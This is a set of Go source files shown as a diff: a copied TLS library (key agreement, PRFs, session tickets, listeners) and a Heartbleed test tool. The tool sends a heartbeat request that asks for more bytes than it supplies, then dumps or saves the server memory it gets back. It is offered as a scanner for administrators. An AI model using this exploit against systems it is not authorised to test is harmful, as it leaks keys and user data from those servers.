if !ok {
c.sendAlert(alertHandshakeFailure)
return nil, errors.New("tls: client's certificate's extended key usage doesn't permit it to be used for client authentication")
}
c.verifiedChains = chains
}
if len(certs) > 0 {
var pub crypto.PublicKey
switch key := certs[0].PublicKey.(type) {
case *ecdsa.PublicKey, *rsa.PublicKey:
pub = key
default:
return nil, c.sendAlert(alertUnsupportedCertificate)
}
c.peerCertificates = certs
return pub, nil
}
return nil, nil
}
// tryCipherSuite returns a cipherSuite with the given id if that cipher suite
// is acceptable to use.
func (c *Conn) tryCipherSuite(id uint16, supportedCipherSuites []uint16, version uint16, ellipticOk, ecdsaOk bool) *cipherSuite {
for _, supported := range supportedCipherSuites {
if id == supported {
var candidate *cipherSuite
for _, s := range cipherSuites {
if s.id == id {
candidate = s
break
}
}
if candidate == nil {
continue
}
// Don't select a ciphersuite which we can't
// support for this client.
if (candidate.flags&suiteECDHE != 0) && !ellipticOk {
continue
}
if (candidate.flags&suiteECDSA != 0) != ecdsaOk {
continue
}
if version < VersionTLS12 && candidate.flags&suiteTLS12 != 0 {
continue
}
return candidate
}
}
return nil
}
@@ -0,0 +1,400 @@
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/md5"
"crypto/rsa"
"crypto/sha1"
"crypto/sha256"
"crypto/x509"
"encoding/asn1"
"errors"
"io"
"math/big"
)
// rsaKeyAgreement implements the standard TLS key agreement where the client
// encrypts the pre-master secret to the server's public key.
type rsaKeyAgreement struct{}
func (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {
return nil, nil
}
func (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {
preMasterSecret := make([]byte, 48)
_, err := io.ReadFull(config.rand(), preMasterSecret[2:])
if err != nil {
return nil, err
}
if len(ckx.ciphertext) < 2 {
return nil, errors.New("bad ClientKeyExchange")
}
ciphertext := ckx.ciphertext
if version != VersionSSL30 {
ciphertextLen := int(ckx.ciphertext[0])<<8 | int(ckx.ciphertext[1])
if ciphertextLen != len(ckx.ciphertext)-2 {
return nil, errors.New("bad ClientKeyExchange")
}
ciphertext = ckx.ciphertext[2:]
}
err = rsa.DecryptPKCS1v15SessionKey(config.rand(), cert.PrivateKey.(*rsa.PrivateKey), ciphertext, preMasterSecret)
if err != nil {
return nil, err
}
// We don't check the version number in the premaster secret. For one,
// by checking it, we would leak information about the validity of the
// encrypted pre-master secret. Secondly, it provides only a small
// benefit against a downgrade attack and some implementations send the
// wrong version anyway. See the discussion at the end of section
// 7.4.7.1 of RFC 4346.
return preMasterSecret, nil
}
func (ka rsaKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {
return errors.New("unexpected ServerKeyExchange")
}
func (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {
preMasterSecret := make([]byte, 48)
preMasterSecret[0] = byte(clientHello.vers >> 8)
preMasterSecret[1] = byte(clientHello.vers)
_, err := io.ReadFull(config.rand(), preMasterSecret[2:])
if err != nil {
return nil, nil, err
}
encrypted, err := rsa.EncryptPKCS1v15(config.rand(), cert.PublicKey.(*rsa.PublicKey), preMasterSecret)
if err != nil {
return nil, nil, err
}
ckx := new(clientKeyExchangeMsg)
ckx.ciphertext = make([]byte, len(encrypted)+2)
ckx.ciphertext[0] = byte(len(encrypted) >> 8)
ckx.ciphertext[1] = byte(len(encrypted))
copy(ckx.ciphertext[2:], encrypted)
return preMasterSecret, ckx, nil
}
// sha1Hash calculates a SHA1 hash over the given byte slices.
func sha1Hash(slices [][]byte) []byte {
hsha1 := sha1.New()
for _, slice := range slices {
hsha1.Write(slice)
}
return hsha1.Sum(nil)
}
// md5SHA1Hash implements TLS 1.0's hybrid hash function which consists of the
// concatenation of an MD5 and SHA1 hash.
func md5SHA1Hash(slices [][]byte) []byte {
md5sha1 := make([]byte, md5.Size+sha1.Size)
hmd5 := md5.New()
for _, slice := range slices {
hmd5.Write(slice)
}
copy(md5sha1, hmd5.Sum(nil))
copy(md5sha1[md5.Size:], sha1Hash(slices))
return md5sha1
}
// sha256Hash implements TLS 1.2's hash function.
func sha256Hash(slices [][]byte) []byte {
h := sha256.New()
for _, slice := range slices {
h.Write(slice)
}
return h.Sum(nil)
}
// hashForServerKeyExchange hashes the given slices and returns their digest
// and the identifier of the hash function used. The hashFunc argument is only
// used for >= TLS 1.2 and precisely identifies the hash function to use.
func hashForServerKeyExchange(sigType, hashFunc uint8, version uint16, slices ...[]byte) ([]byte, crypto.Hash, error) {
if version >= VersionTLS12 {
switch hashFunc {
case hashSHA256:
return sha256Hash(slices), crypto.SHA256, nil
case hashSHA1:
return sha1Hash(slices), crypto.SHA1, nil
default:
return nil, crypto.Hash(0), errors.New("tls: unknown hash function used by peer")
}
}
if sigType == signatureECDSA {
return sha1Hash(slices), crypto.SHA1, nil
}
return md5SHA1Hash(slices), crypto.MD5SHA1, nil
}
// pickTLS12HashForSignature returns a TLS 1.2 hash identifier for signing a
// ServerKeyExchange given the signature type being used and the client's
// advertized list of supported signature and hash combinations.
func pickTLS12HashForSignature(sigType uint8, clientSignatureAndHashes []signatureAndHash) (uint8, error) {
if len(clientSignatureAndHashes) == 0 {
// If the client didn't specify any signature_algorithms
// extension then we can assume that it supports SHA1. See
// http://tools.ietf.org/html/rfc5246#section-7.4.1.4.1
return hashSHA1, nil
}
for _, sigAndHash := range clientSignatureAndHashes {
if sigAndHash.signature != sigType {
continue
}
switch sigAndHash.hash {
case hashSHA1, hashSHA256:
return sigAndHash.hash, nil
}
}
return 0, errors.New("tls: client doesn't support any common hash functions")
}
// ecdheRSAKeyAgreement implements a TLS key agreement where the server
// generates a ephemeral EC public/private key pair and signs it. The
// pre-master secret is then calculated using ECDH. The signature may
// either be ECDSA or RSA.
type ecdheKeyAgreement struct {
version uint16
sigType uint8
privateKey []byte
curve elliptic.Curve
x, y *big.Int
}
func (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {
var curveid uint16
Curve:
for _, c := range clientHello.supportedCurves {
switch c {
case curveP256:
ka.curve = elliptic.P256()
curveid = c
break Curve
case curveP384:
ka.curve = elliptic.P384()
curveid = c
break Curve
case curveP521:
ka.curve = elliptic.P521()
curveid = c
break Curve
}
}
if curveid == 0 {
return nil, errors.New("tls: no supported elliptic curves offered")
}
var x, y *big.Int
var err error
ka.privateKey, x, y, err = elliptic.GenerateKey(ka.curve, config.rand())
if err != nil {
return nil, err
}
ecdhePublic := elliptic.Marshal(ka.curve, x, y)
// http://tools.ietf.org/html/rfc4492#section-5.4
serverECDHParams := make([]byte, 1+2+1+len(ecdhePublic))
serverECDHParams[0] = 3 // named curve
serverECDHParams[1] = byte(curveid >> 8)
serverECDHParams[2] = byte(curveid)
serverECDHParams[3] = byte(len(ecdhePublic))
copy(serverECDHParams[4:], ecdhePublic)
var tls12HashId uint8
if ka.version >= VersionTLS12 {
if tls12HashId, err = pickTLS12HashForSignature(ka.sigType, clientHello.signatureAndHashes); err != nil {
return nil, err
}
}
digest, hashFunc, err := hashForServerKeyExchange(ka.sigType, tls12HashId, ka.version, clientHello.random, hello.random, serverECDHParams)
if err != nil {
return nil, err
}
var sig []byte
switch ka.sigType {
case signatureECDSA:
privKey, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return nil, errors.New("ECDHE ECDSA requires an ECDSA server private key")
}
r, s, err := ecdsa.Sign(config.rand(), privKey, digest)
if err != nil {
return nil, errors.New("failed to sign ECDHE parameters: " + err.Error())
}
sig, err = asn1.Marshal(ecdsaSignature{r, s})
case signatureRSA:
privKey, ok := cert.PrivateKey.(*rsa.PrivateKey)
if !ok {
return nil, errors.New("ECDHE RSA requires a RSA server private key")
}
sig, err = rsa.SignPKCS1v15(config.rand(), privKey, hashFunc, digest)
if err != nil {
return nil, errors.New("failed to sign ECDHE parameters: " + err.Error())
}
default:
return nil, errors.New("unknown ECDHE signature algorithm")
}
skx := new(serverKeyExchangeMsg)
sigAndHashLen := 0
if ka.version >= VersionTLS12 {
sigAndHashLen = 2
}
skx.key = make([]byte, len(serverECDHParams)+sigAndHashLen+2+len(sig))
copy(skx.key, serverECDHParams)
k := skx.key[len(serverECDHParams):]
if ka.version >= VersionTLS12 {
k[0] = tls12HashId
k[1] = ka.sigType
k = k[2:]
}
k[0] = byte(len(sig) >> 8)
k[1] = byte(len(sig))
copy(k[2:], sig)
return skx, nil
}
func (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {
if len(ckx.ciphertext) == 0 || int(ckx.ciphertext[0]) != len(ckx.ciphertext)-1 {
return nil, errors.New("bad ClientKeyExchange")
}
x, y := elliptic.Unmarshal(ka.curve, ckx.ciphertext[1:])
if x == nil {
return nil, errors.New("bad ClientKeyExchange")
}
x, _ = ka.curve.ScalarMult(x, y, ka.privateKey)
preMasterSecret := make([]byte, (ka.curve.Params().BitSize+7)>>3)
xBytes := x.Bytes()
copy(preMasterSecret[len(preMasterSecret)-len(xBytes):], xBytes)
return preMasterSecret, nil
}
var errServerKeyExchange = errors.New("invalid ServerKeyExchange")
func (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {
if len(skx.key) < 4 {
return errServerKeyExchange
}
if skx.key[0] != 3 { // named curve
return errors.New("server selected unsupported curve")
}
curveid := uint16(skx.key[1])<<8 | uint16(skx.key[2])
switch curveid {
case curveP256:
ka.curve = elliptic.P256()
case curveP384:
ka.curve = elliptic.P384()
case curveP521:
ka.curve = elliptic.P521()
default:
return errors.New("server selected unsupported curve")
}
publicLen := int(skx.key[3])
if publicLen+4 > len(skx.key) {
return errServerKeyExchange
}
ka.x, ka.y = elliptic.Unmarshal(ka.curve, skx.key[4:4+publicLen])
if ka.x == nil {
return errServerKeyExchange
}
serverECDHParams := skx.key[:4+publicLen]
sig := skx.key[4+publicLen:]
if len(sig) < 2 {
return errServerKeyExchange
}
var tls12HashId uint8
if ka.version >= VersionTLS12 {
// handle SignatureAndHashAlgorithm
var sigAndHash []uint8
sigAndHash, sig = sig[:2], sig[2:]
if sigAndHash[1] != ka.sigType {
return errServerKeyExchange
}
tls12HashId = sigAndHash[0]
if len(sig) < 2 {
return errServerKeyExchange
}
}
sigLen := int(sig[0])<<8 | int(sig[1])
if sigLen+2 != len(sig) {
return errServerKeyExchange
}
sig = sig[2:]
digest, hashFunc, err := hashForServerKeyExchange(ka.sigType, tls12HashId, ka.version, clientHello.random, serverHello.random, serverECDHParams)
if err != nil {
return err
}
switch ka.sigType {
case signatureECDSA:
pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
if !ok {
return errors.New("ECDHE ECDSA requires a ECDSA server public key")
}
ecdsaSig := new(ecdsaSignature)
if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil {
return err
}
if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
return errors.New("ECDSA signature contained zero or negative values")
}
if !ecdsa.Verify(pubKey, digest, ecdsaSig.R, ecdsaSig.S) {
return errors.New("ECDSA verification failure")
}
case signatureRSA:
pubKey, ok := cert.PublicKey.(*rsa.PublicKey)
if !ok {
return errors.New("ECDHE RSA requires a RSA server public key")
}
if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, digest, sig); err != nil {
return err
}
default:
return errors.New("unknown ECDHE signature algorithm")
}
return nil
}
func (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {
if ka.curve == nil {
return nil, nil, errors.New("missing ServerKeyExchange message")
}
priv, mx, my, err := elliptic.GenerateKey(ka.curve, config.rand())
if err != nil {
return nil, nil, err
}
x, _ := ka.curve.ScalarMult(ka.x, ka.y, priv)
preMasterSecret := make([]byte, (ka.curve.Params().BitSize+7)>>3)
xBytes := x.Bytes()
copy(preMasterSecret[len(preMasterSecret)-len(xBytes):], xBytes)
serialized := elliptic.Marshal(ka.curve, mx, my)
ckx := new(clientKeyExchangeMsg)
ckx.ciphertext = make([]byte, 1+len(serialized))
ckx.ciphertext[0] = byte(len(serialized))
copy(ckx.ciphertext[1:], serialized)
return preMasterSecret, ckx, nil
}
@@ -0,0 +1,151 @@
package main
import (
"crypto/rand"
"encoding/hex"
"flag"
"fmt"
"io"
"io/ioutil"
"net"
"os"
"time"
)
const disclaimer = `
This program was written to help system administrators test their servers for
the OpenSSL "heartbleed" vulnerability. The author is not responsible for any
damages as a result of using this tool (may eat your data, etc.) or for any
misuse of this tool for malicious purposes.
`
var (
nbytes = flag.Int("n", 16, "number of bytes to request")
output = flag.String("o", "", "write binary data to the specified file")
quiet = flag.Bool("q", false, "quiet, use exit code to report server status (0=safe)")
timeout = flag.Duration("t", 5*time.Second, "i/o timeout")
)
func init() {
flag.Usage = func() {
fmt.Fprintf(os.Stderr, "usage: %s [options] host:port\n\n", os.Args[0])
flag.PrintDefaults()
fmt.Fprintf(os.Stderr, disclaimer)
}
if flag.Parse(); flag.NArg() != 1 {
flag.Usage()
os.Exit(2)
}
}
func main() {
c, err := Dial("tcp", flag.Arg(0), &Config{InsecureSkipVerify: true})
if err != nil {
panic(err)
}
defer c.Close()
info("Connected to %s", flag.Arg(0))
c.SetDeadline(time.Now().Add(*timeout))
if _, err := c.Heartbeat(nil); err != nil {
info("Server does not support TLS heartbeats :)")
if isTimeout(err) || isUnexpected(err) {
return
}
panic(err)
}
info("Server supports TLS heartbeats, requesting %d bytes...", *nbytes)
b, err := c.Heartbleed(*nbytes)
if len(b) == 0 && err != nil {
info("Server is not vulnerable :)")
if err == io.EOF || isTimeout(err) {
return
}
panic(err)
}
if *output != "" {
ioutil.WriteFile(*output, b, 0666)
}
if !*quiet {
w := hex.Dumper(os.Stdout)
w.Write(b)
w.Close()
}
info("Server is vulnerable :(")
if err != nil {
panic(err)
}
os.Exit(1)
}
func info(format string, a ...interface{}) {
if !*quiet {
fmt.Fprintf(os.Stderr, format+"\n", a...)
}
}
func isTimeout(err error) bool {
e, ok := err.(net.Error)
return ok && e.Timeout()
}
func isUnexpected(err error) bool {
e, ok := err.(*net.OpError)
return ok && e.Err == alertUnexpectedMessage
}
func (c *Conn) Heartbeat(b []byte) ([]byte, error) {
io.ReadFull(rand.Reader, c.tmp[:16])
return c.heartbeat(len(b), b, c.tmp[:16])
}
func (c *Conn) Heartbleed(n int) ([]byte, error) {
return c.heartbeat(n, nil, nil)
}
const (
recordTypeHeartbeat recordType = 24
heartbeatRequest byte = 1
heartbeatResponse byte = 2
)
func (c *Conn) heartbeat(n int, payload, padding []byte) ([]byte, error) {
if err := c.Handshake(); err != nil {
return nil, err
}
buf := make([]byte, 3, 3+len(payload)+len(padding))
buf[0] = heartbeatRequest
buf[1] = byte(n >> 8)
buf[2] = byte(n)
buf = append(append(buf, payload...), padding...)
c.out.Lock()
defer c.out.Unlock()
c.writeRecord(recordTypeHeartbeat, buf)
const maxConsecutiveEmptyRecords = 100
for emptyRecordCount := 0; emptyRecordCount <= maxConsecutiveEmptyRecords; emptyRecordCount++ {
for c.hb == nil && c.error() == nil {
if err := c.readRecord(recordTypeHeartbeat); err != nil {
// Soft error, like EAGAIN
return nil, err
}
}
var b []byte
if c.hb != nil {
b = c.hb.data[c.hb.off:]
c.hb = nil
if len(b) < 1+2+16 || b[0] != heartbeatResponse {
b = nil
} else {
b = b[3 : len(b)-16]
}
}
return b, c.error()
}
return nil, io.ErrNoProgress
}
@@ -0,0 +1,291 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"crypto"
"crypto/hmac"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"hash"
)
// Split a premaster secret in two as specified in RFC 4346, section 5.
func splitPreMasterSecret(secret []byte) (s1, s2 []byte) {
s1 = secret[0 : (len(secret)+1)/2]
s2 = secret[len(secret)/2:]
return
}
// pHash implements the P_hash function, as defined in RFC 4346, section 5.
func pHash(result, secret, seed []byte, hash func() hash.Hash) {
h := hmac.New(hash, secret)
h.Write(seed)
a := h.Sum(nil)
j := 0
for j < len(result) {
h.Reset()
h.Write(a)
h.Write(seed)
b := h.Sum(nil)
todo := len(b)
if j+todo > len(result) {
todo = len(result) - j
}
copy(result[j:j+todo], b)
j += todo
h.Reset()
h.Write(a)
a = h.Sum(nil)
}
}
// prf10 implements the TLS 1.0 pseudo-random function, as defined in RFC 2246, section 5.
func prf10(result, secret, label, seed []byte) {
hashSHA1 := sha1.New
hashMD5 := md5.New
labelAndSeed := make([]byte, len(label)+len(seed))
copy(labelAndSeed, label)
copy(labelAndSeed[len(label):], seed)
s1, s2 := splitPreMasterSecret(secret)
pHash(result, s1, labelAndSeed, hashMD5)
result2 := make([]byte, len(result))
pHash(result2, s2, labelAndSeed, hashSHA1)
for i, b := range result2 {
result[i] ^= b
}
}
// prf12 implements the TLS 1.2 pseudo-random function, as defined in RFC 5246, section 5.
func prf12(result, secret, label, seed []byte) {
labelAndSeed := make([]byte, len(label)+len(seed))
copy(labelAndSeed, label)
copy(labelAndSeed[len(label):], seed)
pHash(result, secret, labelAndSeed, sha256.New)
}
// prf30 implements the SSL 3.0 pseudo-random function, as defined in
// www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt section 6.
func prf30(result, secret, label, seed []byte) {
hashSHA1 := sha1.New()
hashMD5 := md5.New()
done := 0
i := 0
// RFC5246 section 6.3 says that the largest PRF output needed is 128
// bytes. Since no more ciphersuites will be added to SSLv3, this will
// remain true. Each iteration gives us 16 bytes so 10 iterations will
// be sufficient.
var b [11]byte
for done < len(result) {
for j := 0; j <= i; j++ {
b[j] = 'A' + byte(i)
}
hashSHA1.Reset()
hashSHA1.Write(b[:i+1])
hashSHA1.Write(secret)
hashSHA1.Write(seed)
digest := hashSHA1.Sum(nil)
hashMD5.Reset()
hashMD5.Write(secret)
hashMD5.Write(digest)
done += copy(result[done:], hashMD5.Sum(nil))
i++
}
}
const (
tlsRandomLength = 32 // Length of a random nonce in TLS 1.1.
masterSecretLength = 48 // Length of a master secret in TLS 1.1.
finishedVerifyLength = 12 // Length of verify_data in a Finished message.
)
var masterSecretLabel = []byte("master secret")
var keyExpansionLabel = []byte("key expansion")
var clientFinishedLabel = []byte("client finished")
var serverFinishedLabel = []byte("server finished")
func prfForVersion(version uint16) func(result, secret, label, seed []byte) {
switch version {
case VersionSSL30:
return prf30
case VersionTLS10, VersionTLS11:
return prf10
case VersionTLS12:
return prf12
default:
panic("unknown version")
}
}
// masterFromPreMasterSecret generates the master secret from the pre-master
// secret. See http://tools.ietf.org/html/rfc5246#section-8.1
func masterFromPreMasterSecret(version uint16, preMasterSecret, clientRandom, serverRandom []byte) []byte {
var seed [tlsRandomLength * 2]byte
copy(seed[0:len(clientRandom)], clientRandom)
copy(seed[len(clientRandom):], serverRandom)
masterSecret := make([]byte, masterSecretLength)
prfForVersion(version)(masterSecret, preMasterSecret, masterSecretLabel, seed[0:])
return masterSecret
}
// keysFromMasterSecret generates the connection keys from the master
// secret, given the lengths of the MAC key, cipher key and IV, as defined in
// RFC 2246, section 6.3.
func keysFromMasterSecret(version uint16, masterSecret, clientRandom, serverRandom []byte, macLen, keyLen, ivLen int) (clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV []byte) {
var seed [tlsRandomLength * 2]byte
copy(seed[0:len(clientRandom)], serverRandom)
copy(seed[len(serverRandom):], clientRandom)
n := 2*macLen + 2*keyLen + 2*ivLen
keyMaterial := make([]byte, n)
prfForVersion(version)(keyMaterial, masterSecret, keyExpansionLabel, seed[0:])
clientMAC = keyMaterial[:macLen]
keyMaterial = keyMaterial[macLen:]
serverMAC = keyMaterial[:macLen]
keyMaterial = keyMaterial[macLen:]
clientKey = keyMaterial[:keyLen]
keyMaterial = keyMaterial[keyLen:]
serverKey = keyMaterial[:keyLen]
keyMaterial = keyMaterial[keyLen:]
clientIV = keyMaterial[:ivLen]
keyMaterial = keyMaterial[ivLen:]
serverIV = keyMaterial[:ivLen]
return
}
func newFinishedHash(version uint16) finishedHash {
if version >= VersionTLS12 {
return finishedHash{sha256.New(), sha256.New(), nil, nil, version}
}
return finishedHash{sha1.New(), sha1.New(), md5.New(), md5.New(), version}
}
// A finishedHash calculates the hash of a set of handshake messages suitable
// for including in a Finished message.
type finishedHash struct {
client hash.Hash
server hash.Hash
// Prior to TLS 1.2, an additional MD5 hash is required.
clientMD5 hash.Hash
serverMD5 hash.Hash
version uint16
}
func (h finishedHash) Write(msg []byte) (n int, err error) {
h.client.Write(msg)
h.server.Write(msg)
if h.version < VersionTLS12 {
h.clientMD5.Write(msg)
h.serverMD5.Write(msg)
}
return len(msg), nil
}
// finishedSum30 calculates the contents of the verify_data member of a SSLv3
// Finished message given the MD5 and SHA1 hashes of a set of handshake
// messages.
func finishedSum30(md5, sha1 hash.Hash, masterSecret []byte, magic [4]byte) []byte {
md5.Write(magic[:])
md5.Write(masterSecret)
md5.Write(ssl30Pad1[:])
md5Digest := md5.Sum(nil)
md5.Reset()
md5.Write(masterSecret)
md5.Write(ssl30Pad2[:])
md5.Write(md5Digest)
md5Digest = md5.Sum(nil)
sha1.Write(magic[:])
sha1.Write(masterSecret)
sha1.Write(ssl30Pad1[:40])
sha1Digest := sha1.Sum(nil)
sha1.Reset()
sha1.Write(masterSecret)
sha1.Write(ssl30Pad2[:40])
sha1.Write(sha1Digest)
sha1Digest = sha1.Sum(nil)
ret := make([]byte, len(md5Digest)+len(sha1Digest))
copy(ret, md5Digest)
copy(ret[len(md5Digest):], sha1Digest)
return ret
}
var ssl3ClientFinishedMagic = [4]byte{0x43, 0x4c, 0x4e, 0x54}
var ssl3ServerFinishedMagic = [4]byte{0x53, 0x52, 0x56, 0x52}
// clientSum returns the contents of the verify_data member of a client's
// Finished message.
func (h finishedHash) clientSum(masterSecret []byte) []byte {
if h.version == VersionSSL30 {
return finishedSum30(h.clientMD5, h.client, masterSecret, ssl3ClientFinishedMagic)
}
out := make([]byte, finishedVerifyLength)
if h.version >= VersionTLS12 {
seed := h.client.Sum(nil)
prf12(out, masterSecret, clientFinishedLabel, seed)
} else {
seed := make([]byte, 0, md5.Size+sha1.Size)
seed = h.clientMD5.Sum(seed)
seed = h.client.Sum(seed)
prf10(out, masterSecret, clientFinishedLabel, seed)
}
return out
}
// serverSum returns the contents of the verify_data member of a server's
// Finished message.
func (h finishedHash) serverSum(masterSecret []byte) []byte {
if h.version == VersionSSL30 {
return finishedSum30(h.serverMD5, h.server, masterSecret, ssl3ServerFinishedMagic)
}
out := make([]byte, finishedVerifyLength)
if h.version >= VersionTLS12 {
seed := h.server.Sum(nil)
prf12(out, masterSecret, serverFinishedLabel, seed)
} else {
seed := make([]byte, 0, md5.Size+sha1.Size)
seed = h.serverMD5.Sum(seed)
seed = h.server.Sum(seed)
prf10(out, masterSecret, serverFinishedLabel, seed)
}
return out
}
// hashForClientCertificate returns a digest, hash function, and TLS 1.2 hash
// id suitable for signing by a TLS client certificate.
func (h finishedHash) hashForClientCertificate(sigType uint8) ([]byte, crypto.Hash, uint8) {
if h.version >= VersionTLS12 {
digest := h.server.Sum(nil)
return digest, crypto.SHA256, hashSHA256
}
if sigType == signatureECDSA {
digest := h.server.Sum(nil)
return digest, crypto.SHA1, hashSHA1
}
digest := make([]byte, 0, 36)
digest = h.serverMD5.Sum(digest)
digest = h.server.Sum(digest)
return digest, crypto.MD5SHA1, 0 /* not specified in TLS 1.2. */
}
@@ -0,0 +1,182 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/hmac"
"crypto/sha256"
"crypto/subtle"
"errors"
"io"
)
// sessionState contains the information that is serialized into a session
// ticket in order to later resume a connection.
type sessionState struct {
vers uint16
cipherSuite uint16
masterSecret []byte
certificates [][]byte
}
func (s *sessionState) equal(i interface{}) bool {
s1, ok := i.(*sessionState)
if !ok {
return false
}
if s.vers != s1.vers ||
s.cipherSuite != s1.cipherSuite ||
!bytes.Equal(s.masterSecret, s1.masterSecret) {
return false
}
if len(s.certificates) != len(s1.certificates) {
return false
}
for i := range s.certificates {
if !bytes.Equal(s.certificates[i], s1.certificates[i]) {
return false
}
}
return true
}
func (s *sessionState) marshal() []byte {
length := 2 + 2 + 2 + len(s.masterSecret) + 2
for _, cert := range s.certificates {
length += 4 + len(cert)
}
ret := make([]byte, length)
x := ret
x[0] = byte(s.vers >> 8)
x[1] = byte(s.vers)
x[2] = byte(s.cipherSuite >> 8)
x[3] = byte(s.cipherSuite)
x[4] = byte(len(s.masterSecret) >> 8)
x[5] = byte(len(s.masterSecret))
x = x[6:]
copy(x, s.masterSecret)
x = x[len(s.masterSecret):]
x[0] = byte(len(s.certificates) >> 8)
x[1] = byte(len(s.certificates))
x = x[2:]
for _, cert := range s.certificates {
x[0] = byte(len(cert) >> 24)
x[1] = byte(len(cert) >> 16)
x[2] = byte(len(cert) >> 8)
x[3] = byte(len(cert))
copy(x[4:], cert)
x = x[4+len(cert):]
}
return ret
}
func (s *sessionState) unmarshal(data []byte) bool {
if len(data) < 8 {
return false
}
s.vers = uint16(data[0])<<8 | uint16(data[1])
s.cipherSuite = uint16(data[2])<<8 | uint16(data[3])
masterSecretLen := int(data[4])<<8 | int(data[5])
data = data[6:]
if len(data) < masterSecretLen {
return false
}
s.masterSecret = data[:masterSecretLen]
data = data[masterSecretLen:]
if len(data) < 2 {
return false
}
numCerts := int(data[0])<<8 | int(data[1])
data = data[2:]
s.certificates = make([][]byte, numCerts)
for i := range s.certificates {
if len(data) < 4 {
return false
}
certLen := int(data[0])<<24 | int(data[1])<<16 | int(data[2])<<8 | int(data[3])
data = data[4:]
if certLen < 0 {
return false
}
if len(data) < certLen {
return false
}
s.certificates[i] = data[:certLen]
data = data[certLen:]
}
if len(data) > 0 {
return false
}
return true
}
func (c *Conn) encryptTicket(state *sessionState) ([]byte, error) {
serialized := state.marshal()
encrypted := make([]byte, aes.BlockSize+len(serialized)+sha256.Size)
iv := encrypted[:aes.BlockSize]
macBytes := encrypted[len(encrypted)-sha256.Size:]
if _, err := io.ReadFull(c.config.rand(), iv); err != nil {
return nil, err
}
block, err := aes.NewCipher(c.config.SessionTicketKey[:16])
if err != nil {
return nil, errors.New("tls: failed to create cipher while encrypting ticket: " + err.Error())
}
cipher.NewCTR(block, iv).XORKeyStream(encrypted[aes.BlockSize:], serialized)
mac := hmac.New(sha256.New, c.config.SessionTicketKey[16:32])
mac.Write(encrypted[:len(encrypted)-sha256.Size])
mac.Sum(macBytes[:0])
return encrypted, nil
}
func (c *Conn) decryptTicket(encrypted []byte) (*sessionState, bool) {
if len(encrypted) < aes.BlockSize+sha256.Size {
return nil, false
}
iv := encrypted[:aes.BlockSize]
macBytes := encrypted[len(encrypted)-sha256.Size:]
mac := hmac.New(sha256.New, c.config.SessionTicketKey[16:32])
mac.Write(encrypted[:len(encrypted)-sha256.Size])
expected := mac.Sum(nil)
if subtle.ConstantTimeCompare(macBytes, expected) != 1 {
return nil, false
}
block, err := aes.NewCipher(c.config.SessionTicketKey[:16])
if err != nil {
return nil, false
}
ciphertext := encrypted[aes.BlockSize : len(encrypted)-sha256.Size]
plaintext := ciphertext
cipher.NewCTR(block, iv).XORKeyStream(plaintext, ciphertext)
state := new(sessionState)
ok := state.unmarshal(plaintext)
return state, ok
}
@@ -0,0 +1,225 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package tls partially implements TLS 1.2, as specified in RFC 5246.
package main
import (
"crypto"
"crypto/ecdsa"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"errors"
"io/ioutil"
"net"
"strings"
)
// Server returns a new TLS server side connection
// using conn as the underlying transport.
// The configuration config must be non-nil and must have
// at least one certificate.
func Server(conn net.Conn, config *Config) *Conn {
return &Conn{conn: conn, config: config}
}
// Client returns a new TLS client side connection
// using conn as the underlying transport.
// Client interprets a nil configuration as equivalent to
// the zero configuration; see the documentation of Config
// for the defaults.
func Client(conn net.Conn, config *Config) *Conn {
return &Conn{conn: conn, config: config, isClient: true}
}
// A listener implements a network listener (net.Listener) for TLS connections.
type listener struct {
net.Listener
config *Config
}
// Accept waits for and returns the next incoming TLS connection.
// The returned connection c is a *tls.Conn.
func (l *listener) Accept() (c net.Conn, err error) {
c, err = l.Listener.Accept()
if err != nil {
return
}
c = Server(c, l.config)
return
}
// NewListener creates a Listener which accepts connections from an inner
// Listener and wraps each connection with Server.
// The configuration config must be non-nil and must have
// at least one certificate.
func NewListener(inner net.Listener, config *Config) net.Listener {
l := new(listener)
l.Listener = inner
l.config = config
return l
}
// Listen creates a TLS listener accepting connections on the
// given network address using net.Listen.
// The configuration config must be non-nil and must have
// at least one certificate.
func Listen(network, laddr string, config *Config) (net.Listener, error) {
if config == nil || len(config.Certificates) == 0 {
return nil, errors.New("tls.Listen: no certificates in configuration")
}
l, err := net.Listen(network, laddr)
if err != nil {
return nil, err
}
return NewListener(l, config), nil
